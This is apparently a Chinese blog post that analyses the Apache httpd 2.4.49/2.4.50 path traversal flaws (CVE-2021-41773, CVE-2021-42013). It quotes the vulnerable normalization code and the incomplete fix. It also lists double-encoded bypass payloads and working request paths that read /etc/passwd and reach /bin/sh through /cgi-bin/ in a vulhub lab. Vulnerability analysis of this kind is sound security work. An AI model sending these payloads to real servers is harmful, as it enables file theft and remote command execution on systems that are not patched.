Apache HTTP Server路径穿越(CVE-2021-41773 & CVE-2021-42013)

漏洞条件

  • Apahce HTTP Server 2.4.49
  • Apahce HTTP Server 2.4.50 (CVE-2021-42013)
  • 配置允许穿越目录 <Directory />Require all granted</Directory>
  • 开启cgi或cgid模块(命令执行)

原理分析

2.4.49

Apache HTTP Server 2.4.49版本在server/request.c中引入的新代码,根据httpd自身的注释可以了解到这部分代码的功能是删除/.//../一些路径,其中还描写到该部分代码是为了避免ap_unescape_url()后的双重解码

# server/request.c


 if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

接下来到这次漏洞的核心ap_normalize_path()函数,该函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符,第一段代码如下

int ret = 1;
apr_size_t l = 1, w = 1;

if (!IS_SLASH(path[0])) {
        /* 除了 "OPTIONS *", 每个请求路径都应该是以 '/' 开头*/
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* 如果开启了AP_NORMALIZE_ALLOW_RELATIVE配置就能绕过这个限制 */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }
        
        l = w = 0;
}

可以看到在代码的开始部分设定了w和l变量,其实是使用了双索引的方式遍历path数组,完成对path字符串的编码解析和../删除工作。其中w指针有回退功能,l指针只会前进,而且w指针永远指的是真实path将要填充的字符,所以在做字符串判断的时候一直使用w-1偏移进行索引。

if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
        && path[l] == '%' && apr_isxdigit(path[l + 1])
                          && apr_isxdigit(path[l + 2])) {
    const char c = x2c(&path[l + 1]);
    if (apr_isalnum(c) || (c && strchr("-._~", c))) {
        /* 如果解码成功l指针移动到编码的最后一位,且将解码后的值复制给path[l] */
        l += 2;
        path[l] = c;
    }
}

在这段代码之后真正的漏洞代码出现了

if (w == 0 || IS_SLASH(path[w - 1])) {
    /* Collapse ///// sequences to / */
    .......
    if (path[l] == '.') {
        /* Remove /./ segments */
        if (IS_SLASH_OR_NUL(path[l + 1])) {
            l++;
            if (path[l]) {
                l++;
            }
            continue;
        }
        /* Remove /xx/../ segments */
        if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
            /* 如果l遇到了../开始让w回退到上一个/,不然的话就赋值 */
            if (w > 1) {
                do {
                    w--;
                } while (w && !IS_SLASH(path[w - 1]));
            }
            else {
                /* 如果w回退到0且后续没有内容则报错  */
                if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                    ret = 0;
                }
            }

            /* 因为../的关系让l指针前进两个索引 */
            l += 2;
            if (path[l]) {
                l++;
            }
            continue;
        }
    }
}

漏洞逻辑已经很明显了在上述代码的第十五行,l遇到../才让w回退到上一个/,不然的话就将路径原模原样赋值给w指针。那么.的url编码是%2e,如果遇到%2e./就会回退,因为会先进行url解码l索引就变成了../,但如果是.%2e/在执行这段../回退代码的时候检测不出来../就会先把.赋值给w指针,之后l在%2e进行解码变成了./但是因为w已经前进了一个索引**IS_SLASH(path[w – 1])** 就无法判断成功所以代码又将./依次赋值给了w指针。从而让path变量中拥有了解码好的/../路径片段,实现了路径穿越。

这样一来攻击者输入.%2e/%2e%2e/这两种情况都能够实现目录穿越。

然而该漏洞并不是所有情况下都能够RCE:

导致该漏洞从目录穿越和敏感文件泄露升级到RCE的关键是 开启了cgi配置。在一些CGI配置文件限制扩展名不全的情况下,在 **/cgi-bin/**目录下执行的所有文件都会被当作cgi脚本程序执行。

2.4.50

在后续一个版本中官方针对这个问题进行了修复,判断了.%2e/以及%2e%2e/这两种情况

/* Remove /xx/../ segments (or /xx/.%2e/ when
                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
                 * decoded only the first dot above).
                 */
                n = l + 1;
                if ((path[n] == '.' || (decode_unreserved
                                        && path[n] == '%'
                                        && path[++n] == '2'
                                        && (path[++n] == 'e'
                                            || path[n] == 'E')))
                    && IS_SLASH_OR_NUL(path[n + 1])) {
                    /* Wind w back to remove the previous segment */

但是在后续的过程又存在ap_unescape_url()函数,该函数功能为解码url字符编码,这样一来只需要进行二次URL编码即可绕过上面的判断。

/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/  
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 这种是不生效的,因为ap_normalize_path不会处理%字符的url编码

利用

这里使用vulhub中的环境,启动后访问8080端口看到下图即为成功:

到容器内部查看apache的配置文件 /usr/local/apache2/conf/httpd.conf

#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other
# <Directory> blocks below.
#
<Directory />
    AllowOverride none
    Require all granted
</Directory>

可以看到被穿越的目录是能够访问的。

任意文件读取

访问的路径第一层目录必须是存在的,如这里的/icons

/icons/%2%65./%2%65./%2%65./%2%65./%2%65./etc/passwd

命令执行

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

/cgi-bin/%2%65./%2%65./%2%65./%2%65./%2%65./bin/sh

参考资料

Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)复现

Apache httpd Server CVE-2021-41773 漏洞分析

【原创】Apache httpd CVE-2021-41773 漏洞分析

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇